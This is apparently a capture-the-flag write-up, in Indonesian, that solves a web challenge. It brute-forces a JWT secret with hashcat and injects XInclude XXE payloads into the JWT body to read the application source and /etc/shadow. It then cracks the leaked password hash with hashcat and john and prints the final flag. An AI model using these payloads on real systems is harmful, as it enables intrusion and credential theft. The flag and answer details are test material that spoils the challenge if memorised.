Bruteforce JWT & XXE LFI ( xinclude )

dapet clue setelah login dan kita view source terdapat comment /app/app.py ( kita tidak dapet mengakses ini karna ini adalah path local file )

cracking jwt through bruteforce attack: hashcat --potfile-disable -a 3 -m 16500 jwt.txt -O

dpt jwt secret : mstzt

inject xml di payload body jwt nya buat ngeleak /app/app.py yg ada di comment

isi jwt body :

{ "data": "<data><username><xi:include xmlns:xi="[http://www.w3.org/2001/XInclude/](http://www.w3.org/2001/XInclude/ "http://www.w3.org/2001/XInclude/")" parse="text" href="file:///app/app.py"/></username></data>" 
}												  

kalo misal pake

{ "data": "<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "file:///app/app.py">]><data><username>&file;</username></data>" }

bakal return no entity refference jadi pake payload diatas jadi pake xinclude attack.

refferensi : https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

setelah kita leak /app/app.py nya terdapat suatu endpoint yang "sus" :

@app.route('/secret-welcome-935734', methods=['GET'])
def secret_welcome():
    # There is a linux user named 'flaguser'
    # Login here with that username and their linux password.
    auth = request.authorization

    if auth is None or auth.username != 'flaguser' or auth.password != FLAGUSER_PASSWORD:
        resp = flask.Response('Please provide the right credentials to get the flag')
        resp.headers['WWW-Authenticate'] = 'Basic'
        return resp, 401

    return f'Congrats, here is your flag: {FLAG}'

terdapat flaguser dan flagpassword yang berisi akun linux. kita dapat leak akun linux tersebut menggunakan file /etc/shadow yang default ada di linux

langsung aja kita read pake payload diatas untuk read /etc/shadow

dan kita dapet flaguser dan juga hash password dari flaguser ini sendiri

flaguser:$1$hack$BzqsFHqkPjQ2Sn9amFsgN0:19767:0:99999:7:::

lgsg aja kita crack pake rockyou dan hashcat

hashcat --potfile-disable -a 3 -m 500 hash.txt

kita dapet identify hash btw untuk tau nya pake john

john hash_asli.txt

dan dapet qqz3 untuk passwordnya lgsg kita bikin requests ke sus endpoint yg tdi dan dpt flagnya

wctf{cr4ck1n_4nd_1nclud1n_4_th3_w1n_1352234}